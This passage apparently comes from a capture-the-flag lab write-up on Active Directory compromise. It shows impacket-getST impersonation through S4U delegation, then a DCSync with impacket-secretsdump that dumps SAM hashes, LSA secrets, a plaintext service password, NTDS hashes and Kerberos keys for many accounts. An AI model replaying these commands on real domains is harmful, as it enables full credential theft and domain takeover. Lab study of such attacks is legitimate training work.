┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# impacket-getST -dc-ip 172.16.34.5 -spn 'cifs/ASLSRVAD05.aoseluauto.com' -impersonate administrator 'aoseluauto.com/hack$:Admin123'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
换一个用户即可
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# impacket-getST -dc-ip 172.16.34.5 -spn 'cifs/ASLSRVAD05.aoseluauto.com' -impersonate SVC_NETADM01 'aoseluauto.com/hack$:Admin123'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating SVC_NETADM01
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in SVC_NETADM01@cifs_ASLSRVAD05.aoseluauto.com@AOSELUAUTO.COM.ccache
5.4. Dcsync
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# impacket-secretsdump -k -no-pass ASLSRVAD05.aoseluauto.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x02ddd10411744a41401f3e679f8dd138
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f34d97de6167fac7b11e54af9ec8663b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
AOSELUAUTO\ASLSRVAD05$:plain_password_hex:979d1119929577bdc1dc35d75380b526956bb9137d1dbd88c0cb00a2d7872bfc1ccb13e68c15ecf959d182fff21ef944cf011a3ac1872dbb8d7acc057c9319accad2c7bfd7655fe84bda4dce4626edf9c73907e78b33a23db71fb63aa5678dfbde410128d2c085548a8206e17cef3a1d1c35cd292b3ba3db73b84c958932fc73645bcc3505b4796bfb536797c5152d1a61653e72ef0e82a95b101ce5489fb6a273bd3ffaa94b1c1282159dd4be4a7cf412cd5e349f662db62ae60016610bdb4c9f35a6b54ad3813aed59ddadc2358c5a2effb216d42c12d3af9b0293e734bcb7442ada1522ba57b3a15ca3d875899be1
AOSELUAUTO\ASLSRVAD05$:aad3b435b51404eeaad3b435b51404ee:9f400841cafb5e6cc9ffe09f78a2136b:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x1003637a8095e4f25bf7b3014887d1d60a2cd35c
dpapi_userkey:0x0c9dfa7a1278f6001460711ecc5e39d97cdd3691
[*] NL$KM
0000 CF BA C6 36 8B 30 65 40 F5 FC F2 2F A4 D5 A7 20 ...6.0e@.../...
0010 8E E6 A0 72 22 2F 02 FE 53 3F DC C9 4A D4 C9 92 ...r"/..S?..J...
0020 2C 00 60 53 C3 6A 04 33 2A CB 27 50 A4 7E A7 24 ,.`S.j.3*.'P.~.$
0030 27 32 DC 74 97 A3 85 12 85 80 12 68 13 D0 A1 CE '2.t.......h....
NL$KM:cfbac6368b306540f5fcf22fa4d5a7208ee6a072222f02fe533fdcc94ad4c9922c006053c36a04332acb2750a47ea7242732dc7497a385128580126813d0a1ce
[*] _SC_InfraMonAgent
AOSELUAUTO\svc_monadm01:96Mr!je39y_p
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ca93b5d629f1b1049d9c20ad9a86b578:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7fa77c2b35285b43b08676454a93d1aa:::
LiamCarter:1105:aad3b435b51404eeaad3b435b51404ee:5c7d2283617a7e6a71b5b15ec5bf0513:::
EmmaStone:1106:aad3b435b51404eeaad3b435b51404ee:69dfde420bee191920d334877cec23f8:::
NoahBrooks:1107:aad3b435b51404eeaad3b435b51404ee:5067195861c662d9aea24ab809676c5d:::
OliviaWard:1108:aad3b435b51404eeaad3b435b51404ee:97dc8e039f62e1515a939cf2ae089764:::
EthanMorris:1109:aad3b435b51404eeaad3b435b51404ee:7e8c2a42e95b1643b9a74c9ef7a88870:::
AvaKelly:1110:aad3b435b51404eeaad3b435b51404ee:0d029ed90eaad9d591a410311ce79469:::
MasonPrice:1111:aad3b435b51404eeaad3b435b51404ee:133ae8c2da3c6ba3403e705d426301e3:::
SophiaReed:1112:aad3b435b51404eeaad3b435b51404ee:45475242dd414e5b31127681a78ec33d:::
LoganWells:1113:aad3b435b51404eeaad3b435b51404ee:433d5a2045d8ddc493cbc1929c01d0c7:::
IslaFrost:1114:aad3b435b51404eeaad3b435b51404ee:369608eab7cb56e20130980396082b54:::
LucasDrake:1115:aad3b435b51404eeaad3b435b51404ee:918ba70703278e565e13185448d5b6d5:::
ChloeShaw:1116:aad3b435b51404eeaad3b435b51404ee:92140a917121ff49de9ca0c6ca928381:::
ElijahGrant:1117:aad3b435b51404eeaad3b435b51404ee:1c375e88cb88c3c698558c47594eaf70:::
GraceFord:1118:aad3b435b51404eeaad3b435b51404ee:9a86da09f36744635b2e84566d8645d4:::
HenryBlair:1119:aad3b435b51404eeaad3b435b51404ee:78f0a324d90c01cc10fa331e8bd5028d:::
LilyNash:1120:aad3b435b51404eeaad3b435b51404ee:53532971920f8bf17017d0890a9c017e:::
JackTyler:1121:aad3b435b51404eeaad3b435b51404ee:682d13de0405a46975cb3b65801fb79d:::
ZoeKing:1122:aad3b435b51404eeaad3b435b51404ee:84cd60532a7eba4e381ccb8617162d9f:::
OwenFox:1123:aad3b435b51404eeaad3b435b51404ee:36da24f1719b888393caf4aab7382eca:::
MilaRay:1124:aad3b435b51404eeaad3b435b51404ee:7ef48c7250bb5fb4189b37f2dd755fb8:::
CalebHunt:1125:aad3b435b51404eeaad3b435b51404ee:94aab6d4fa7d06c644ccaa3b9015c0d6:::
EllaMoon:1126:aad3b435b51404eeaad3b435b51404ee:6bef3a24216908e8ca41c701dc5a8598:::
WyattCole:1127:aad3b435b51404eeaad3b435b51404ee:c1ece5265e953f23fc4d8a7f89db297e:::
NoraBeck:1128:aad3b435b51404eeaad3b435b51404ee:24f8d21828ff5374437c75ff01a03c54:::
LeviTate:1129:aad3b435b51404eeaad3b435b51404ee:29990fe50d5f331879256c27c86dd88b:::
AriaWest:1130:aad3b435b51404eeaad3b435b51404ee:733763c1cb083c81cc63f1503840bf56:::
IsaacDunn:1131:aad3b435b51404eeaad3b435b51404ee:b19f0ac4ea947042c0fccfb12d123cf6:::
MayaGreer:1132:aad3b435b51404eeaad3b435b51404ee:508aaf8dafca6b9b09a4673885b0fd7d:::
NolanBoone:1133:aad3b435b51404eeaad3b435b51404ee:3a9a01a786a5d7a8898c979b4d061b91:::
RubyChase:1134:aad3b435b51404eeaad3b435b51404ee:51216330ad28abc6f2c2511f2033b943:::
LeoPage:1135:aad3b435b51404eeaad3b435b51404ee:e79e98686f702c816fdfdf9cc368d69f:::
IvyHart:1136:aad3b435b51404eeaad3b435b51404ee:ee6d3bf3d089baa83ab7e99398fa5d5a:::
AsherWynn:1137:aad3b435b51404eeaad3b435b51404ee:4438794c3599aad0cf1acd5385f6f097:::
SageKnox:1138:aad3b435b51404eeaad3b435b51404ee:8c041950cbedc801c81ab5adfb627059:::
JaydenRhodes:1139:aad3b435b51404eeaad3b435b51404ee:ea76c4cd8e18c38150c462912291b64f:::
SkyeBenn:1140:aad3b435b51404eeaad3b435b51404ee:110b7cc012cd1d30ea90c95457259955:::
MilesYork:1141:aad3b435b51404eeaad3b435b51404ee:69df1a8caf9c11f4f97b577db6c5c954:::
CleoParks:1142:aad3b435b51404eeaad3b435b51404ee:fee266f08e1b9f9c953cd2e104277b9b:::
EliVoss:1143:aad3b435b51404eeaad3b435b51404ee:b3cdac919c790fac41ad0dec55789b80:::
JuneCross:1144:aad3b435b51404eeaad3b435b51404ee:b38122d232e0d16cd2615b140f2c5861:::
AaronLake:1145:aad3b435b51404eeaad3b435b51404ee:59a56499408b5ad0d976bfd3eb7fafa1:::
TessLane:1146:aad3b435b51404eeaad3b435b51404ee:21e33bd0b9ae97d345eeb744d0a57659:::
AdamBriar:1147:aad3b435b51404eeaad3b435b51404ee:85fcb8436d9be7b1f0846f925e89299a:::
EdenRusk:1148:aad3b435b51404eeaad3b435b51404ee:665b751e2f40a6a2ef5e43cf264cc39d:::
IanQuinn:1149:aad3b435b51404eeaad3b435b51404ee:261621b2fe49856a827c455e4b36a160:::
LaraSnow:1150:aad3b435b51404eeaad3b435b51404ee:5a43d07b992c3eec62e093aafa4d4255:::
AxelBourne:1151:aad3b435b51404eeaad3b435b51404ee:ff91deb3023f0fea0612463cc65b7720:::
NinaField:1152:aad3b435b51404eeaad3b435b51404ee:e7ffb9bcec7cb1b65af24e85440f5052:::
FinnBrent:1153:aad3b435b51404eeaad3b435b51404ee:ce6259f28864cfcad842a890c43eddf7:::
LanaCraig:1154:aad3b435b51404eeaad3b435b51404ee:8b63503a524c7e592901d65fba231a1f:::
ZaneRowe:1155:aad3b435b51404eeaad3b435b51404ee:7ba6bb956c99b9ff5cbb6041de919c6f:::
MiraDean:1156:aad3b435b51404eeaad3b435b51404ee:47540db8e70821e589120566e94d548f:::
JoelPine:1157:aad3b435b51404eeaad3b435b51404ee:238a4ad31560aeb6abd4ac545a82852b:::
CoraFlynn:1158:aad3b435b51404eeaad3b435b51404ee:d3fdca7984485e7918ddfc6d42884aaa:::
DrewMyers:1159:aad3b435b51404eeaad3b435b51404ee:74eaca709ee5a75de28aa9d8136f6cfd:::
VeraStone:1160:aad3b435b51404eeaad3b435b51404ee:816df1c0e0a5c49248cca82354afa2c7:::
TroyGlass:1161:aad3b435b51404eeaad3b435b51404ee:ad35f343723f7756c236647608fb4c05:::
JadeLowe:1162:aad3b435b51404eeaad3b435b51404ee:54bde3d86c461cfdc2eee64906cf399a:::
CodyReed:1163:aad3b435b51404eeaad3b435b51404ee:7ce5836874182d189e428505f5a40c5b:::
RosaVale:1164:aad3b435b51404eeaad3b435b51404ee:ba5a48244f4844cdee45f557f9a8e204:::
EricShore:1165:aad3b435b51404eeaad3b435b51404ee:4285767ec0f3ecb1c94a5489b1a86b56:::
IrisDale:1166:aad3b435b51404eeaad3b435b51404ee:6af5646ba02860e33f05a8a698c59f94:::
DeanFrost:1167:aad3b435b51404eeaad3b435b51404ee:da70b5d9fe4ee55bac05913f4f84811b:::
HopeGale:1168:aad3b435b51404eeaad3b435b51404ee:a1fea091eb956e036a3144483f9b3110:::
SeanDray:1169:aad3b435b51404eeaad3b435b51404ee:989bdbb30f157eec1a34787d43bdb9cc:::
FayeLocke:1170:aad3b435b51404eeaad3b435b51404ee:91f8e6943fdb27e1442e80968543cc15:::
OmarPenn:1171:aad3b435b51404eeaad3b435b51404ee:0659b3fd7e3bd890d0538f0cf3d39929:::
ElleGrimm:1172:aad3b435b51404eeaad3b435b51404ee:e421487ad5060459443033363830cce4:::
BlakeHolt:1173:aad3b435b51404eeaad3b435b51404ee:8468d065ce7fc607f02b87babe5c07d5:::
LacyStorm:1174:aad3b435b51404eeaad3b435b51404ee:2cf23bb8873d3df0b569691fe7155b45:::
ChadDior:1175:aad3b435b51404eeaad3b435b51404ee:9eecd39d5285c0060bb177a6d6be4585:::
NellRidge:1176:aad3b435b51404eeaad3b435b51404ee:40dfe099a1898ba9583b6ad0321681e6:::
WadeKnoll:1177:aad3b435b51404eeaad3b435b51404ee:f9415dda1abca836e7a63c2a037d1757:::
JoyMoss:1178:aad3b435b51404eeaad3b435b51404ee:32b05814bd1ccd823d86e4663e1df197:::
KyleThorne:1179:aad3b435b51404eeaad3b435b51404ee:20c7079501f82bccd4b6b033efcf36b3:::
GinaWest:1180:aad3b435b51404eeaad3b435b51404ee:e16c277828356f7b8b623f580e86f323:::
ReedBlythe:1181:aad3b435b51404eeaad3b435b51404ee:cb9019b097f1837992326d0488116b24:::
NikiDane:1182:aad3b435b51404eeaad3b435b51404ee:64b42f7a1752766b6909c0595d75f21e:::
MarkSwan:1183:aad3b435b51404eeaad3b435b51404ee:b62457258686e1616b1603722099f092:::
PaigeSloan:1184:aad3b435b51404eeaad3b435b51404ee:5e236cb1ed8a4604431a7a7ce8a6123d:::
TonyBrice:1185:aad3b435b51404eeaad3b435b51404ee:29ce8c8f480232bbaf89430483e585e4:::
LivHale:1186:aad3b435b51404eeaad3b435b51404ee:a92a7572c97e1e5127241eb613e611c4:::
EvanTrent:1187:aad3b435b51404eeaad3b435b51404ee:9e55fef35bd6917c2a4661bd255451c3:::
NiaVane:1188:aad3b435b51404eeaad3b435b51404ee:d316662347bf9aca2f0786963982c315:::
ColeHyde:1189:aad3b435b51404eeaad3b435b51404ee:bec1ad463f6a0311ad4e08193acd423d:::
RuthCarr:1190:aad3b435b51404eeaad3b435b51404ee:f6eaf9885233cd4a056d7f7eb773d2e5:::
DaneWells:1191:aad3b435b51404eeaad3b435b51404ee:84c44d694928d11237a41163419cbe52:::
BreeStone:1192:aad3b435b51404eeaad3b435b51404ee:649f7417a9f50d08cc65a9f6c8958c45:::
JoelMarx:1193:aad3b435b51404eeaad3b435b51404ee:9e350f291705b6011224da9635f71530:::
NellFox:1194:aad3b435b51404eeaad3b435b51404ee:afc773626c38284c974f4428e4706d0a:::
BryceYard:1195:aad3b435b51404eeaad3b435b51404ee:c6ee37914d755cef829bbeb3e49c81cb:::
SamiCray:1196:aad3b435b51404eeaad3b435b51404ee:d8db4c9650dba751df742f5753db4022:::
JunoField:1197:aad3b435b51404eeaad3b435b51404ee:38074326dd074896790a772056aa1b0e:::
TobyWynn:1198:aad3b435b51404eeaad3b435b51404ee:b08341b401559aefe97bb6668896c743:::
LexBoone:1199:aad3b435b51404eeaad3b435b51404ee:b68784a7ade338e5e93670b13a642d67:::
MinaRush:1200:aad3b435b51404eeaad3b435b51404ee:88cd707f82d8438e339691585be460ea:::
DaxQuill:1201:aad3b435b51404eeaad3b435b51404ee:19ae4a29bce0c12f793b331447563b5e:::
RaeNoble:1202:aad3b435b51404eeaad3b435b51404ee:1d44fcb2def1b71fd3406846d5475d24:::
BoGriff:1203:aad3b435b51404eeaad3b435b51404ee:9cdcde325d23555534b0a07f6ae62a69:::
GiaStarr:1204:aad3b435b51404eeaad3b435b51404ee:17ff05f437680c559e8e39f984e1236b:::
svc_dbadm01:1214:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_dbadm02:1215:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_dbadm03:1216:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_netadm01:1217:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_netadm02:1218:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_netadm03:1219:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_netadm04:1220:aad3b435b51404eeaad3b435b51404ee:bddfbc223400038f71abf93efbaa132b:::
svc_webadm01:1221:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_webadm02:1222:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_fileadm01:1223:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_fileadm02:1224:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_logadm01:1225:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_vpnadm01:1226:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_vpnadm02:1227:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_vpnadm03:1228:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_iisadm01:1229:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_monadm01:1230:aad3b435b51404eeaad3b435b51404ee:ab232c3cf9f4b7cf27602082b04f306b:::
svc_mailadm01:1231:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_mailadm02:1232:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_bakadm01:1233:aad3b435b51404eeaad3b435b51404ee:95f063de7e971e16bcc9d0e8fdd6e857:::
svc_bakadm02:1234:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_jumpadm01:1235:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_vmadm01:1236:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_adm01:1237:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
svc_adm02:1238:aad3b435b51404eeaad3b435b51404ee:cf29310ee284b949b46cc502e383cbed:::
svc_adm03:1239:aad3b435b51404eeaad3b435b51404ee:5edca162998a9cebddb2f3b20165e1cd:::
ASLSRVAD05$:1000:aad3b435b51404eeaad3b435b51404ee:9f400841cafb5e6cc9ffe09f78a2136b:::
ASLSRVFS02$:1103:aad3b435b51404eeaad3b435b51404ee:7a0b63716f123fd3afa02c93275dbe03:::
ASLITPC03$:1104:aad3b435b51404eeaad3b435b51404ee:a42ae257c8dcff02e907dffe6e8dc765:::
FsGmsa$:1240:aad3b435b51404eeaad3b435b51404ee:4d83c99b79475507386380415e004e96:::
DbGmsa$:1241:aad3b435b51404eeaad3b435b51404ee:c1628dfb3035911e4efa288882de0d08:::
WebGmsa$:1242:aad3b435b51404eeaad3b435b51404ee:1e9ea0c709cc89bb378edf70723b2287:::
BkpGmsa$:1243:aad3b435b51404eeaad3b435b51404ee:eb76a617ce24f776f19cfcb908278f33:::
ExGmsa$:1244:aad3b435b51404eeaad3b435b51404ee:708a30cba73e7db32586b9af1b00e47e:::
hack$:1245:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:51de73ccb5b3db2bcb51ec78580699a3a7870ee96fc5458ca4fd823a0b6463cd
Administrator:aes128-cts-hmac-sha1-96:ba8321dd3298da4ec981e16a03ac6300
Administrator:des-cbc-md5:9768ad15f40d92fb
krbtgt:aes256-cts-hmac-sha1-96:413612805f86762a172ffbe7030d07c0858d27bd9a472881c001c0a04cc41cc4
krbtgt:aes128-cts-hmac-sha1-96:b8f9a28cda24baed6b8e61cf70fc8557
krbtgt:des-cbc-md5:9befcd763de32351
LiamCarter:aes256-cts-hmac-sha1-96:1f948cbb3cd3512c46b77f98d472670fb383f8cfa5f6ef6e0b6537ad8dc0543a
LiamCarter:aes128-cts-hmac-sha1-96:a7c937fe066c2e9b345ce8c90a3f45ef
LiamCarter:des-cbc-md5:5bc82f0e1020bc7f
EmmaStone:aes256-cts-hmac-sha1-96:caea84ad29407efbfbc0c35bee4b2e4d149cf4776c5668016144239eb3ab3ef1
EmmaStone:aes128-cts-hmac-sha1-96:d3673dfda4d9de5e03d82ec63456b6f8
EmmaStone:des-cbc-md5:23511f85e37fc44f
NoahBrooks:aes256-cts-hmac-sha1-96:b2c823f41036912e55f5872e27fad51a560e2c0fb7ee449bc57fe4e34e6ca099
NoahBrooks:aes128-cts-hmac-sha1-96:9296e407ad1e0c9b8f98beecbcb7e6bb
NoahBrooks:des-cbc-md5:157cab587907f10d
OliviaWard:aes256-cts-hmac-sha1-96:2e627c48c7283e5621e7901b7480df61ebb55eae8426331a53d4a78e9e0aa3d1
OliviaWard:aes128-cts-hmac-sha1-96:22728c04b1df8571b8ec9b0e68fd4a97
OliviaWard:des-cbc-md5:516b37a837df201a
EthanMorris:aes256-cts-hmac-sha1-96:270cf21479bdbc82078f21ea012935688fac7df1418085c6c3378f20c3988de2
EthanMorris:aes128-cts-hmac-sha1-96:19f47ba7464f3c28500676f4f1b032cd
EthanMorris:des-cbc-md5:cb7f75b38085e991
AvaKelly:aes256-cts-hmac-sha1-96:523b0803ab8d9fe799e305d20ae0dd5e2c963cadd8f906ec9943335b1608023c
AvaKelly:aes128-cts-hmac-sha1-96:8aa92bdecbfbf02b45ce859f169df04d
AvaKelly:des-cbc-md5:68a76d58b03d54c2
MasonPrice:aes256-cts-hmac-sha1-96:ebb81c3531d7b4685b790cc219159debeb28fcfbd436753d3a961b458d5b2662
MasonPrice:aes128-cts-hmac-sha1-96:b195c05578bf15ffc8a44bc778287f82
MasonPrice:des-cbc-md5:dc37adc29457156d
SophiaReed:aes256-cts-hmac-sha1-96:8f24c0af4afb3e7f07493dfdf4712b8525196ae965481918d22cc9a933149831
SophiaReed:aes128-cts-hmac-sha1-96:ffacc76e67d9fce38b24ce111b94933d
SophiaReed:des-cbc-md5:46aed6573e9e577a
LoganWells:aes256-cts-hmac-sha1-96:32c4b262aa781faab25a8fc391b3cfe0cb3af616aae41db3bca548c9524a663b
LoganWells:aes128-cts-hmac-sha1-96:2179e83296d47d63c3426d53fa631409
LoganWells:des-cbc-md5:a483ef91ec0b37f2
IslaFrost:aes256-cts-hmac-sha1-96:38e07c4941274de1548a18ec7ed3102fcc2a898ac179cd99cb191bbbe840cd57
IslaFrost:aes128-cts-hmac-sha1-96:95f841a06e0c214249a57f7451731694
IslaFrost:des-cbc-md5:bab325c4e9d5c204
LucasDrake:aes256-cts-hmac-sha1-96:1899202819a27f95f2f1f1c1395ab8a98976ac265e24982faa32815313935775
LucasDrake:aes128-cts-hmac-sha1-96:e689d265a70e711889858aaa02aa68d1
LucasDrake:des-cbc-md5:5d7c3b2cd6581545
ChloeShaw:aes256-cts-hmac-sha1-96:0d31c52441fdb456603893de6e7407548d79f4906a89c6a7290752b233bea119
ChloeShaw:aes128-cts-hmac-sha1-96:94b232282193bbba28244137d8b369dc
ChloeShaw:des-cbc-md5:45627c681398b5fb
ElijahGrant:aes256-cts-hmac-sha1-96:db05b4bc219554fe55094e31351c0cf60879fa28f59c9aa87b5d3c8982578953
ElijahGrant:aes128-cts-hmac-sha1-96:e02f1e684bc8a2f5bbd533059c08fe4c
ElijahGrant:des-cbc-md5:89b6f7d332c14398
GraceFord:aes256-cts-hmac-sha1-96:805e6a1c09cc8603b855cf6668681d828f94d3c5a0d1f3d42a30fd773e9866d0
GraceFord:aes128-cts-hmac-sha1-96:dad7a35f86eb6062d8fc856c58a122ac
GraceFord:des-cbc-md5:586ecde5f2329792
HenryBlair:aes256-cts-hmac-sha1-96:a25dd1df7e1b424e06589914be990e74cdaf05e1419abea1f582b974acc0b717
HenryBlair:aes128-cts-hmac-sha1-96:6c0fbd8e3416ec1d9ae6a9faae76a4fb
HenryBlair:des-cbc-md5:37f485b09e51bfbc
LilyNash:aes256-cts-hmac-sha1-96:7c46f9c9b422b844b3d3e9eadc1246a9e1c411627e6d4117ca0c2d4282b3f391
LilyNash:aes128-cts-hmac-sha1-96:ebfe6d5e88e56ddc1cae9fb6cf8b6579
LilyNash:des-cbc-md5:758f678f0767eafb
JackTyler:aes256-cts-hmac-sha1-96:39877b55fada328ef70aca668fe8dfb9c5869f7e8caf7c57e6c72ca9fb9018f9
JackTyler:aes128-cts-hmac-sha1-96:ccc9686382baef300857311ab7778c4d
JackTyler:des-cbc-md5:078ab5461ae99ead
ZoeKing:aes256-cts-hmac-sha1-96:854bd4d72d8fca307fa286d9f10689109987f0b6e44f1396f6baa4e9d8d068e4
ZoeKing:aes128-cts-hmac-sha1-96:2b5d4652ed3696590e1312248d449f4c
ZoeKing:des-cbc-md5:fe85dcf719899713
OwenFox:aes256-cts-hmac-sha1-96:cbe852aa08dd5bf6f84ca4db175f51cea5fa208ce1d6d3d2020aa91ffded683f
OwenFox:aes128-cts-hmac-sha1-96:1e4d36c180e7b808c9fd882ba3069981
OwenFox:des-cbc-md5:e9dfef709bd66179
MilaRay:aes256-cts-hmac-sha1-96:ffcc2e08a007ebf626bf58d3cce9a022e3b9f35748e3ee65fef3833e1deab018
MilaRay:aes128-cts-hmac-sha1-96:3ce78dd7ca479391a4114f2168fbd5ce
MilaRay:des-cbc-md5:683e86800ddf07fe
CalebHunt:aes256-cts-hmac-sha1-96:8d92cd94925ae84162692c78c9cd0a487bfdc602acb18953d17e943ded5ca0e5
CalebHunt:aes128-cts-hmac-sha1-96:15a47018340be87b6b0c649f911757e2
CalebHunt:des-cbc-md5:7ac454da8015b00d
EllaMoon:aes256-cts-hmac-sha1-96:d7989d567ae6fe93ecbfe44e3fb5cdffa4d5781b48d05a4fe674d93a56000f4a
EllaMoon:aes128-cts-hmac-sha1-96:fdb188bbb017f52b1438c60c1e6d65ba
EllaMoon:des-cbc-md5:49155bd01364ab68
WyattCole:aes256-cts-hmac-sha1-96:c09bce52e5bb1853b4ad620ebcae129d46720a9a4395d7b672b11befaf7a68f7
WyattCole:aes128-cts-hmac-sha1-96:8e79fe9586589accc5ab1cf39fabd16d
WyattCole:des-cbc-md5:5715d99eea0dd6f8
NoraBeck:aes256-cts-hmac-sha1-96:c35c3a577eaf1bcd3921506c391c19e88be374507cc92ebdee4d6229552bf14c
NoraBeck:aes128-cts-hmac-sha1-96:eb4ab6aa19c4de85ed181c8fcc593df3
NoraBeck:des-cbc-md5:4a43319b8008cb46
LeviTate:aes256-cts-hmac-sha1-96:20badfdff1f9e8dfb1776d9632fea65fb331f8a1d1fd01eecf83c41cb2bba9c8
LeviTate:aes128-cts-hmac-sha1-96:fa7f489fc117dd721087abd23518eb9a
LeviTate:des-cbc-md5:fd862cb5ef46f8b6
AriaWest:aes256-cts-hmac-sha1-96:8831f7ce79d755c14acaa6c1e6558816a3524b1b41d2151cde4f93254a44f699
AriaWest:aes128-cts-hmac-sha1-96:f79016191bf8b8fb9c853c0a513ad073
AriaWest:des-cbc-md5:944c7962ea9b2961
IsaacDunn:aes256-cts-hmac-sha1-96:006ac67bd132ef3a9237e6e217e6590755e21c369654f242c72bc147160f7778
IsaacDunn:aes128-cts-hmac-sha1-96:c192962de0ad0b71156cafcf2a6a9856
IsaacDunn:des-cbc-md5:704ff24079c11cfd
MayaGreer:aes256-cts-hmac-sha1-96:488bf6f6784c9f68beb8063e02bc89ac10ff43d6e9a17570190fc482b3d7ab90
MayaGreer:aes128-cts-hmac-sha1-96:741ffe66864beb3d034780e09436e3ba
MayaGreer:des-cbc-md5:c29ee34f58739b26
NolanBoone:aes256-cts-hmac-sha1-96:6d8ca2d6ad452a8322717d655fbcc4216908955fa965f8302c808986e468e99a
NolanBoone:aes128-cts-hmac-sha1-96:4c94345f2b885caa91283a25babf8430
NolanBoone:des-cbc-md5:2ccbd52c319d40f1
RubyChase:aes256-cts-hmac-sha1-96:1e6a9760064697edc73cd6cac40d1072c655670f45fe75cc5997bdf665d19c24
RubyChase:aes128-cts-hmac-sha1-96:2b039793f6f25268ce6057e0aadc70d0
RubyChase:des-cbc-md5:b9b361c18cfdc786
LeoPage:aes256-cts-hmac-sha1-96:3f7d8224061ce33abcc9403b2addb83d28cb659452d7d7d67e51cc645ba9a712
LeoPage:aes128-cts-hmac-sha1-96:b0b0bdaa6537bff596351da1051a015b
LeoPage:des-cbc-md5:da83fbfe403b4fc1
IvyHart:aes256-cts-hmac-sha1-96:b3dcecd1f15f14b81210cbb28f6033c1de2fdfc8d458c12f4234602236450956
IvyHart:aes128-cts-hmac-sha1-96:0248b6e207806990dfdbf5c7140ae6b8
IvyHart:des-cbc-md5:a21aa45db602c2cb
AsherWynn:aes256-cts-hmac-sha1-96:5cdc0777557592253f6139bd7135cdee57f3e50d0625fc90c4c76d913a574cb4
AsherWynn:aes128-cts-hmac-sha1-96:462df6b60e7b480f72dea96b9d206266
AsherWynn:des-cbc-md5:fea43120d5cb54cb
SageKnox:aes256-cts-hmac-sha1-96:03036b257ea3bdccb270cbe9aa39d12524ebed7d59edaa3e88bc216893fc4837
SageKnox:aes128-cts-hmac-sha1-96:6829ba2d109986baf8feb7045fe67dac
SageKnox:des-cbc-md5:ce49b083b3d9340b
JaydenRhodes:aes256-cts-hmac-sha1-96:a6d15d21cb0c28045c2d74951f4d2f36f6942f462f40bb9825e0fbd58bae3234
JaydenRhodes:aes128-cts-hmac-sha1-96:2c4dbea42faa8955a23248db70b89aea
JaydenRhodes:des-cbc-md5:e5cbfe51d00d3b07
SkyeBenn:aes256-cts-hmac-sha1-96:d6019dd601f5dc26f205d86efe4e207f7914a5a1a8a124ea76d492fa449902d5
SkyeBenn:aes128-cts-hmac-sha1-96:bf838543af1a8dc95acfb2f6e046ff18
SkyeBenn:des-cbc-md5:62e9970e0bae2fd9
MilesYork:aes256-cts-hmac-sha1-96:ff95e43a1469cf31d2e1b7f5aa4487184132a7d6971ba0ec76ad7884fafdb88d
MilesYork:aes128-cts-hmac-sha1-96:5e6c9a75d68d9cfc4bf9df7d87e86a2e
MilesYork:des-cbc-md5:4af79ee6751ff215
CleoParks:aes256-cts-hmac-sha1-96:13efe5c820e8c9b31ba5d913536a241046909df7abf27673feb955ca872a043f
CleoParks:aes128-cts-hmac-sha1-96:9583fd4d6cdbde656dd8950430c93369
